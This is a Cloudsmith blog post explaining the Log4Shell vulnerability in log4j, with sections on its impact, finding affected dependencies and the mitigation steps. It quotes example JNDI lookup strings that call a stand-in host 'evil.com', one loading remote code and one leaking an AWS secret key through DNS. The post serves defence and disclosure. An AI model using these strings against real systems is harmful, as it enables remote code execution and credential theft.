--- title: "Log4Shell Vulnerability Explained (CVE-2021-44228+) | Cloudsmith" description: "What was the Log4shell exploit? We explain the impact & identification of the Log4Shell vulnerability, and what you can do to protect yourself and your users." canonical_url: "https://cloudsmith.com/blog/all-about-log4shell-mitigation-cve-2021-44228" last_updated: "2022-02-15T00:00:00.000Z" --- # Log4Shell Vulnerability Explained (CVE-2021-44228+) | Cloudsmith ## Log4Shell Explained This article discusses the background, impact, identification, and mitigation of [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell), one of the worst vulnerabilities to arise in the past decade. Here at Cloudsmith, [security and privacy](https://cloudsmith.com/product/secure/) are paramount. As a hosted package management service helping customers distribute millions of packages worldwide, we're part of the story for securing software supply chains. Read on further to learn what log4shell is, see how the log4shell vulnerability works and what you can do to protect yourself and your users. ## What is Log4Shell? The `log4j` library, part of the [Apache Software Foundation (ASF)](https://en.wikipedia.org/wiki/The_Apache_Software_Foundation), is a general and commonly utilized logging framework used by Java developers worldwide. The framework allows developers to log data (including user-sourced information) in their applications. On 10th December 2021, a ****_critical_**** severity Remote Code Execution (RCE) exploit disclosure `log4j` was published as [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228), affecting versions below `2.15.0`. The vulnerability was coined [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell) to imply that exploiting it resulted in a shell (login) on a server. Due to the widespread deployment of Java applications `log4j`, many sources have characterized the exploit as one of the most impactful last decade. For example, [Tenable](https://www.tenable.com/) described it as the "single biggest, most critical vulnerability of the last decade". Before disclosure as CVE-2021-44228, the exploit entered the collective mind space of developers everywhere as a Minecraft-specific attack, utilizing crafted strings to execute code on the Minecraft server. As shown in the [following tweet](https://twitter.com/twokilohertz/status/1469087293126365186), dated 9th December 2021: ```json { "_key": "d10a1ab9a1e1", "_type": "image", "alt": "log4j_tweet_120921", "asset": { "_createdAt": "2025-06-05T08:00:02Z", "_id": "image-68b382f060a900743cb0b1f00ba26ca60eed212b-587x387-png", "_rev": "2MVa2LY6RC9Yy6hPJdhtCV", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:02Z", "assetId": "68b382f060a900743cb0b1f00ba26ca60eed212b", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "V13[rD^+-o=|xCxuxat7oLoe%NM}RlWFR,%Mt7t8xbxb", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 1.516795865633075, "height": 387, "width": 587 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAB+klEQVR4nGVSa4+bMBC08iBgHjYJARtIYi5EaRVVaaXrqer//19T7QDRtf0w8u6Cx7uzo37//MC3xwOn0wm+beF9C+c9GudQNw0OhwOstTDW8JxQfootjDEoigJpmkK9P5+4324IYcB1HDGON1yvVwzDgEsIfKhtO3R9h1Pfo+9PrBGMz4T3DsYUUHVVsYu260g0XkeESyCJc55dVtURx+MRTdOgaRxc43i+cu/5vShyqDiOobWGsZbE+/0e1ljkeY4syzlGkiRIEs04yzKkWmqa93SaQqcaiU6QxDFU60q4psS+nPQoy5Ka5HkxE2a8vBAI+W63QxRFiKId420UYbvdEurX+xvenwHh3FGXy+WCrutQ1zX27Hju2i4PSefp1N0MIV2v11itVlCPLz2+3jr0nSOR955EslXZnBBItxNRNuNfwmgiUwoqSxPkmeaPcklGeo0QRdhsNnxdzmWsv2sbxiQTyJZLW1LcSZ+Y2kyYCOV1gVxcf86X2jwuu/z4/gP38Ya6XuxR8zwcqlk7C1MUHL8w5mVigcRmhjiAS7m/XdG3PT0nCxFDD2FgfD6f/8dsavkeQnj9V1UVJ1L0WJzAGMsuxayOhm1oaqKuZxPP9Tl3znGJkmdpRgnUoo1oFseTxwQxzZxgF4umEWuSa52+fMia1oyXLf8BENU2WruvM8UAAAAASUVORK5CYII=", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#585138", "foreground": "#fff", "population": 0.15, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#4c2404", "foreground": "#fff", "population": 0, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#585138", "foreground": "#fff", "population": 0.15, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#d1b2a5", "foreground": "#000", "population": 0.08, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#e4d4ac", "foreground": "#000", "population": 0, "title": "#000" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#9b8351", "foreground": "#fff", "population": 0.1, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#a48433", "foreground": "#fff", "population": 0.04, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "aHViPTEyMzY2NSZjbWQ9aXRlbWVkaXRvcmltYWdlJmZpbGVuYW1lPWl0ZW1lZGl0b3JpbWFnZV82MWMzMmFlYTg3ZThhLnBuZyZ2ZXJzaW9uPTAwMDAmc2lnPTdjMGUxZTA4ODZhNjg0NGYyMmUwZDZlNTc3MzQ0MThk", "path": "images/rafvlnhi/production/68b382f060a900743cb0b1f00ba26ca60eed212b-587x387.png", "sha1hash": "68b382f060a900743cb0b1f00ba26ca60eed212b", "size": 56347, "uploadId": "7B1NMWhOpjN5df9YxppsWnObHsPsAdjp", "url": "https://cdn.sanity.io/images/rafvlnhi/production/68b382f060a900743cb0b1f00ba26ca60eed212b-587x387.png" }, "caption": null, "link": null, "markDefs": null } ``` However, as hinted in the above tweet, it was suspected at the time that the extent of the impact had far-reaching consequences beyond Minecraft alone. Then, following disclosure, CVE-2021-44228 confirmed the alleged impact on servers and services worldwide. As stated in a [tweet by Matthew Prince](https://twitter.com/eastdakota/status/1469800951351427073), CEO of Cloudflare, they found evidence to suggest that the earliest known attacks seen by them started on 1st December 2021. The evidence indicates that it was "in the wild" for at least nine days before the public CVE disclosure. Since the disclosure, some of the major enterprises that have been affected by this include Apple, Amazon, Cloudflare, Steam, Tesla, Twitter, and Baidu. Therefore, the possibility is high, regardless of whether you are directly impacted or not, that someone in your supply chain potentially is or has been already. ## Just how bad is the log4j exploit? ****Extremely**** bad, or instead, as bad as possible (or perhaps, even worse). The exploit affects `log4J` versions below `2.15.0`, disclosed as [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) and referred to as [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell). Apache assigned a [Common Vulnerability Scoring System (CVSS)](https://nvd.nist.gov/vuln-metrics/cvss) score of 10 (the highest available) because the exploit enables both full Remote Code Execution (RCE) and data exfiltration. Given specially crafted strings, `log4j` below version `2.15.0` performs network-based lookups of objects from URLs using the [Java Naming and Directory Interface (JDNI)](https://docs.oracle.com/javase/tutorial/jndi/overview/index.html). One of the supported protocols is the [Lightweight Directory Access Protocol](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) (LDAP), which can retrieve data from arbitrary URLs for evaluation and execution, either local to the server or remotely. In its default configuration, `log4j` will perform string interpolation (substitution) for special lookup variables in the form of `${:}`, such as replacing `${date:yyyy-MM-dd}` with the date `2021-12-10`. Using the JNDI, with an expression such as `${jndi:ldap://evil.com/bad/payload}`, it then becomes possible to load and execute arbitrary code from `evil.com/bad/payload`. The [Naked Security by Sophos blog](https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/) provides an example of this. They use `ncat` (a well-known networking utility) to open a listening socket that reflects data to an exploitable server. If the data returned is _also_ well-crafted JNDI data, then it will be evaluated as code executed in the context of the application's environment. Visualization provided by the [Juniper Threat Labs blog](https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns) shows the workflow in practice: ```json { "_key": "4f44cf928b44", "_type": "image", "alt": "Visual example of the log4j exploit", "asset": { "_createdAt": "2025-06-05T08:00:02Z", "_id": "image-aab9c5b88815ed864bed793823bb891c3d7dee56-938x537-png", "_rev": "2MVa2LY6RC9Yy6hPJdhsfR", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:02Z", "assetId": "aab9c5b88815ed864bed793823bb891c3d7dee56", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "M4R:E8*z}Z#8M0+d00#S#9DOVX^k4TMd^k", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 1.7467411545623837, "height": 537, "width": 938 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVR4nIWSS28TQRCE9/+f8ifgmkMiuAQfIMopQiKAEbJje9/vx8xO9r1bqDpeC5EDh9LYPb3fVPWMpR4eUNzcwDw+YtAafd9DKYU0TVEUhfxepbVG0zTS07YtqkpD6xrDMGAcR3RdByu5voZzdYXs9hZ9lkljGATY7XY4Ho/wPE/k+z7iOBYwoZVSsB0Pnh/CGCNAHmSln7/g+d172HefYLJMTsnSFKfTCYfDAbZtw3VdhGGIPM/FJXvquobrBXBcT+qs0all4hjOzy32P7Yozhs8kZFXd3TG+IRxj07YV5YV8vy1zpoAO2NQJCniIEStFPquk0gE0t0amw6jKJI6oQQ2TSsr487z/AocjEGrFOqiQMtZnAfOGJwb43IlkEqSROLSETWOI5Zl+QvYdXipDaKIsUoM58b1pv9VWZaSgCACpmkSICVAOqq1hut4iMJY3DEGZxYEweWGV0nkF86xQz/0b4F02OkaZZxAZzn4nxucE6GMvq55kUNphVLnsONnONERaZ5enpK8Q0acCGGMtsVyPnGeJon1RtOIoHCwefqAzdePeNp+w36/lwvjbVv9MMjHyzxfrP9PceXjfnuH++8b/N79kpfA8XC+fwCbS0IL+96QFAAAAABJRU5ErkJggg==", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#5d8e42", "foreground": "#fff", "population": 0.19, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#39611d", "foreground": "#fff", "population": 0.08, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#5d8e42", "foreground": "#fff", "population": 0.19, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#a4d4a8", "foreground": "#000", "population": 0.01, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#ec6484", "foreground": "#fff", "population": 0, "title": "#fff" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#66a451", "foreground": "#fff", "population": 0.01, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#b6343d", "foreground": "#fff", "population": 0.02, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "aHViPTEyMzY2NSZjbWQ9aXRlbWVkaXRvcmltYWdlJmZpbGVuYW1lPWl0ZW1lZGl0b3JpbWFnZV82MWMzMmVhY2UyNmNjLnBuZyZ2ZXJzaW9uPTAwMDAmc2lnPTkxMjY2OGI1MTJmOGYwZTBjZDY5YmZiYmQ2N2UyMTgz", "path": "images/rafvlnhi/production/aab9c5b88815ed864bed793823bb891c3d7dee56-938x537.png", "sha1hash": "aab9c5b88815ed864bed793823bb891c3d7dee56", "size": 104800, "uploadId": "6JtpmtjwsWJNV2sXwzczV6Utukt34wwy", "url": "https://cdn.sanity.io/images/rafvlnhi/production/aab9c5b88815ed864bed793823bb891c3d7dee56-938x537.png" }, "caption": null, "link": null, "markDefs": null } ``` The result of the above code execution is that attackers can run any piece of arbitrary code that they choose. It will run in the same context as your application, enjoying all of the same access and privileges. The practical (but malicious) outcomes are almost limitless, from the "simple" database dumps, login shells, botnets, unsolicited spam, etc., through to the dangerous (e.g. targetting public infrastructure). Beyond the use of JNDI LDAP, additional protocols may be subject to exploitation, such as [Java Remote Method Invocation (RMI)](https://en.wikipedia.org/wiki/Java_remote_method_invocation), the well-known [Domain Name System (DNS)](https://en.wikipedia.org/wiki/Domain_Name_System), and the [Internet Inter-ORB Protocol (IIOP)](https://en.wikipedia.org/wiki/General_Inter-ORB_Protocol), etc. Juniper confirmed this by [reporting a shift in](https://blogs.juniper.net/en-us/threat-research/log4j-vulnerability-attackers-shift-focus-from-ldap-to-rmi) JNDI LDAP to RMI attacks, resulting in more sophisticated payloads. So the risk remains high. Although a setting can mitigate code execution, it is shown by [Daniel Miessler of Unsupervised Learning](https://danielmiessler.com/podcast/news-analysis-no-311/) still possible to exfiltrate data with other techniques, such as interpolation into DNS lookups. For example, the expression `${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com}`, if evaluated, will exfiltrate the contents of the `AWS_SECRET_ACCESS_KEY` environment variable. Therefore, despite the assistance of mitigations other than version upgrades, such as implementing rules in Web Application Firewalls (WAFs), disabling JNDI URL-based lookups, or even controlling egress from servers, there is still a considerable risk of impact. The best mitigation route is to upgrade dependencies, shut down (block) installations of impacted `log4j` versions, and examine servers for existing exploitation. In summary, the reason that `log4j` was assigned a CVSS rating of 10 (again, the highest possible) is that: - The `log4j` library is highly commonly used and widespread in the Java community. - The attack enables Remote Code Execution in the context of servers and applications. - It also allows data exfiltration, in which bad actors can steal server-side secrets. - It is reasonably easy to exploit, with little practical knowledge required to do so. - Mitigations other than version upgrades (which aren't always easy) don't fully protect. - Therefore, the attack surface area is unfathomably large and carries a similar impact. So yes, as stated by others in the community, this vulnerability is one of the most significant and most impactful ever seen. As stated by Sophos, it is (sadly) ironic that the data being logged is probably for auditing or security purposes. However, now is the time to do everything in our collective power to protect our servers, applications, users, businesses, and even our entire ecosystem. It's a tough ask, but we're here to help. ## What else do I need to know? Patches for `log4j` have been released to mitigate the vulnerability, in the form of the `2.15.0` (initially) then `2.16.0` and `2.17.0` releases. However, `2.15.0` and `2.16.0` have known Denial of Service [DoS] vulnerabilities, cited in [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) and [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105). Therefore, the current (as of 21st December 2021) recommendation for mitigation is to update `log4j` dependencies to at least version `2.17.0`. ## How can I identify affected packages? In all use-cases, identification of affected software will involve examining packages for dependencies on `log4j` with the following attributes (expressed in terms of Maven-based GAV coordinates): - ****G****roupID: `org.apache.logging.log4j` - ****A****rtifactID: `log4j*` (or more specifically, `log4j-core`) - ****V****ersion: Generally below `2.17.0` (but specifically for CVE-2021-44228, below `2.15.0`) ## **Identification For Maven Users** You can use the [Maven Dependency](https://maven.apache.org/plugins/maven-dependency-plugin/) plugin to locate local software packages' direct and transitive dependencies. For example, you can [filter the dependency tree](https://maven.apache.org/plugins/maven-dependency-plugin/examples/filtering-the-dependency-tree.html) find log4j usage: ```json { "_key": "7b6274ab4e16", "_type": "code", "code": "$ mvn dependency:tree -Dincludes=org.apache.logging.log4j", "filename": null, "language": "text", "markDefs": null } ``` Which will output something like: ```json { "_key": "bb2443e43b8e", "_type": "code", "code": "[INFO] [dependency:tree] [INFO] com.yourcompany.aggregator:aggregator-plugin:2.0.5 [INFO] \\- org.apache.logging.log4j:log4j:jar:2.14.1", "filename": null, "language": "text", "markDefs": null } ``` ## Identification For Cloudsmith Users We released additional functionality to [search for dependencies](https://help.cloudsmith.io/docs/search-packages) such as `log4j` across packages stored within Cloudsmith repositories. The syntax is `dependency:`, so to search for `log4j` dependencies, you specify `dependency:log4j`. The functionality is available via the UI, the API and the CLI. For example, you can search via the CLI using: ```json { "_key": "b83557758e44", "_type": "code", "code": "$ cloudsmith ls packages {account}/{repo} -q \"dependency:log4jGetting list of packages ... OK Name | Version | Status | Owner / Repository (Identifier) spring-boot-starter-log4j2 | 2.6.1 | Completed | you/your-repo/URjuLZOWzKjW Results: 1-1 (1) of 1 package visible (page: 1/1, page size: 30)", "filename": null, "language": "text", "markDefs": null } ``` The above only tells you which packages have a direct/non-transitive dependency on `log4j`, it doesn't (yet) allow a search on versions (note: concrete versions are not always known in a repository). However, if you're utilizing Cloudsmith as a proper Single Source of Truth, and store all packages that your applications utilize, then it is possible to detect all uses of `log4j` (because it will be visible across all packages used). Using the new [package dependencies API](https://help.cloudsmith.io/reference#packages_dependencies), you can confirm the versions of those dependencies. The functionality is also available via the latest Cloudsmith CLI release, `0.31.1`, which includes a new `dependencies` sub-command that can be used to list dependencies for a package. For example, using the "identifier" for the package from above: ```json { "_key": "a20bdecb05b0", "_type": "code", "code": "$ cloudsmith deps your-account/your-repo/URjuLZOWzKjWGetting direct (non-transitive) dependencies of URjuLZOWzKjW in your-account/your-repo ... OK Type | Name | Operator | Version Compile | org.apache.logging.log4j:log4j-core | >= | 2.14.1 Compile | org.apache.logging.log4j:log4j-jul | >= | 2.14.1 Compile | org.apache.logging.log4j:log4j-slf4j-impl | >= | 2.14.1 Compile | org.slf4j:jul-to-slf4j | >= | 1.7.32 Results: 4 direct dependencies", "filename": null, "language": "text", "markDefs": null } ``` You can always use a combination of these commands and the `-F json` (format as JSON) flag for scripting calls. So, for example, you could use the `ls` (list) command from the CLI to find packages that depend upon `log4j` and then the `deps` (dependencies) command to get the details. For example, you can use the following (albeit, Linux-y) script to automate the generation of a Comma-Separated Value (CSV) report (disclaimer: this is a little hacked together, but should serve to demonstrate the point; if you get stuck, let us help you): ```json { "_key": "aceea20ca6e8", "_type": "code", "code": "#/bin/bash # list_log4j_deps.sh [optional args] account=$1 args=${2:-\"\"} echo \"account,repository,package,dependency,operator,version\" while IFS= read -r repository; do while IFS= read -r identifier; do p=\"$account,$repository,$identifier\" cloudsmith deps $account/$repository/$identifier -F json $args 2>/dev/null \\ | jq -r \".data[] | \\\"$p,\\\" + .name + \\\",\\\" + .operator + \\\",\\\" + .version\" \\ | grep log4j done < <( cloudsmith ls pkg $account/$repository -q 'dependency:log4j' \\ -F json $args 2>/dev/null | jq -r \".data[] | .slug_perm\" ) done < <( cloudsmith ls repo $account -F json $args 2>/dev/null | jq -r \".data[] | .slug\" )", "filename": null, "language": "text", "markDefs": null } ``` Which will result in something like: ```json { "_key": "f3314ae59de7", "_type": "code", "code": "$ bash list_log4j_deps.sh your-accountaccount,repository,package,dependency,operator,version your-account,repo,URjuLZOWzKjW,org.apache.logging.log4j:log4j-core,>=,2.14.1 your-account,repo,URjuLZOWzKjW,org.apache.logging.log4j:log4j-jul,>=,2.14.1 your-account,repo,URjuLZOWzKjW,org.apache.logging.log4j:log4j-slf4j-impl,>=,2.14.1", "filename": null, "language": "text", "markDefs": null } ``` Finally, if you're looking to automate the scripting but don't want to use the Python-based Cloudsmith CLI, you can also achieve the same result by executing queries against the [Cloudsmith APIs](https://help.cloudsmith.io/reference/). How can I prevent installs of `log4j`? For Cloudsmith users, a recently added feature of repositories is to prevent install for impacted versions of `log4j`. The blocking functionality is currently a bespoke feature that will (eventually) metamorph into a more generalized quarantine/risk/controls feature, for now, services `log4j` only. You can enable block in any Cloudsmith repository on the settings page. It looks like: ```json { "_key": "40594cee614e", "_type": "image", "alt": "blocking functionality on Cloudsmith ", "asset": { "_createdAt": "2025-06-05T08:00:03Z", "_id": "image-ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979-947x329-png", "_rev": "gnJeqIUmT5gWK5E6lfpBlv", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:03Z", "assetId": "ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "D6S6V$00EIkloftW#@^m%3xb", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 2.878419452887538, "height": 329, "width": 947 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABCUlEQVR4nI3Oy4rCMBSA4b7/C7lx49qVMAs3IgPaJmluTW3Ti+k/NDMjqAxM4ONwNv9JoWxLWXuuynFVlot0XKTNuzABe5sIQyIMd5r4a857iIl2WB5u40KhrUcoTSVrSqko89SUtaXSDuUC2rcY1zzxbUc/TEz35UlhjEFKiRCCqhIIIRFSUkmVj0ilUbVG15p6pVcW3wSGcWJZFhZ4KLxzGG0enHU45/De431DCIGu64h9T7+KkT4OOXZPiddXGG9QRmXaaUIbiDEyjiPTNDHPMyml75/8SKuU8nwLnvSJD/HBoTpwrI+om2Kcx7fIX96C+2rP9nPL5rxhd9lxbs45+J/Ya3DdvwAgoRsoiHOHUQAAAABJRU5ErkJggg==", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#2f6b2d", "foreground": "#fff", "population": 0, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#295d27", "foreground": "#fff", "population": 0, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#68b368", "foreground": "#fff", "population": 1.47, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#b4c0cc", "foreground": "#000", "population": 0.02, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#94ec8c", "foreground": "#000", "population": 0, "title": "#fff" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#68b368", "foreground": "#fff", "population": 1.47, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#4dad49", "foreground": "#fff", "population": 0.03, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "aHViPTEyMzY2NSZjbWQ9aXRlbWVkaXRvcmltYWdlJmZpbGVuYW1lPWl0ZW1lZGl0b3JpbWFnZV82MWMzMzIzNzE2N2U2LnBuZyZ2ZXJzaW9uPTAwMDAmc2lnPWM0NWRlYmFiNDRkMTFlMGQ4YjJlMjM5NWUyMGI2ZDI4", "path": "images/rafvlnhi/production/ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979-947x329.png", "sha1hash": "ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979", "size": 26889, "uploadId": "LuHszgeRhxJXJmFzWGr7yygoB6IK2xhF", "url": "https://cdn.sanity.io/images/rafvlnhi/production/ac366a10fee3eb6ebfee2e9003a4db6bdb3e1979-947x329.png" }, "caption": null, "link": null, "markDefs": null } ``` As stated, this functionality will: automatically block log4j-related downloads unless they meet a specific version constraint. The blocking applies to both local (cached) and upstream packages. A package is considered related to `log4j` if the GroupID is `org.apache.logging.log4j` and the ArtifactID contains `log4j` (e.g. `log4j-core`). ## How can I mitigate the Log4Shell vulnerability? Primarily, by following the [mitigation advice](https://logging.apache.org/log4j/2.x/security.html) given by Apache: - Identify applications utilizing `log4`j dependencies below `2.15.0` (as above). - Upgrade `log4j` dependencies to at least version `2.17.0` (`2.15.0` and `2.16.0` have known Denial of Service [DoS] vulnerabilities, cited in [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) and [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105), so the [recommendation by Apache](https://logging.apache.org/log4j/2.x/security.html) is to use `2.17.0` and above.). If you're unable to update dependencies, you can also utilize the following mitigations (but bear in mind that the primary mitigation is still to upgrade dependencies, and these are not foolproof either, as demonstrated above re: [Daniel Miessler of Unsupervised Learning](https://danielmiessler.com/podcast/news-analysis-no-311/)): - You can mitigate the issue for applications that use `log4j` above/equal to `2.10` by setting system property `log4j2.formatMsgNoLookups` or environment variable `LOG4J_FORMAT_MSG_NO_LOOKUPS` to true. For example: - Via property: `java -Dlog4j2.formatMsgNoLookups=true ...` - Via environment: `LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...` - For applications that use `log4j` between `>=2.7` and `<=2.14.1`, you can mitigate by removing `org/apache/logging/log4j/core/lookup/JndiLookup.class` from the classpath. For example: - By executing: `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` In addition to those, there are also additional techniques available to reduce the exploit potential: - For applications behind a Web Application Firewall (WAF), your provider may have (or will be releasing) additional rules to prevent exploration. The idea is to block requests containing `$jndi:ldap://` (although it won't be foolproof). For example, AWS has [updated its WAF ruleset](https://aws.amazon.com/security/security-bulletins/AWS-2021-005/) `AWSManagedRulesKnownBadInputsRuleSet` to include dynamic prevention. - It may also be possible to mitigate exploits by blocking egress/outbound connections destined for LDAP or RMI or any type of traffic other than necessary. However, this might not prevent all kinds of attacks. The JNDI interface supports multiple protocols, and even executing a DNS lookup can leak information. ## Summary The `log4j` vulnerability is a critical security risk that can lead to Remote Code Execution (RCE) and, as such, should not be taken lightly. Due to the widespread use `log4j` across many enterprises, projects, and organizations, the blast radius is one of the largest ever seen. You should take all steps necessary to mitigate this vulnerability as quickly as possible, and we empathize with all those affected by it. It's another reminder of how critical software supply chain security is and how great the exposure can be when a critical exploit emerges in the wild. If you have any questions about the exploit, need any additional help with identification or mitigation, or have any general concerns, please don't hesitate to contact us. As previously mentioned, this is a bad one, so ****#hugops**** to all involved worldwide. ## Learn more Please visit the following resources to learn more about Log4Shell: - [https://nvd.nist.gov/vuln/detail/CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) - [https://logging.apache.org/log4j/2.x/security.html](https://logging.apache.org/log4j/2.x/security.html) - [https://www.ncsc.gov.uk/news/apache-log4j-vulnerability](https://www.ncsc.gov.uk/news/apache-log4j-vulnerability) - [https://arstechnica.com/information-technology/2021/12/the-log4shell-zeroday-4-days-on-what-is-it-and-how-bad-is-it-really/](https://arstechnica.com/information-technology/2021/12/the-log4shell-zeroday-4-days-on-what-is-it-and-how-bad-is-it-really/) - [https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns](https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns) - [https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/](https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/) - [https://danielmiessler.com/podcast/news-analysis-no-311/](https://danielmiessler.com/podcast/news-analysis-no-311/) ## Next Steps with Cloudsmith If you're not currently with Cloudsmith, it's easy to take the next step. You can [start a free trial immediately](https://app.cloudsmith.com) and spin up a repository within 60 seconds, or [contact us](https://cloudsmith.com/company/contact-us/) to set up a no-fuss demo session with our team. Cloudsmith is the most cloud-native, universal package management service on the planet, but don't just take our word for it. Join us and take back control of your software supply chain today!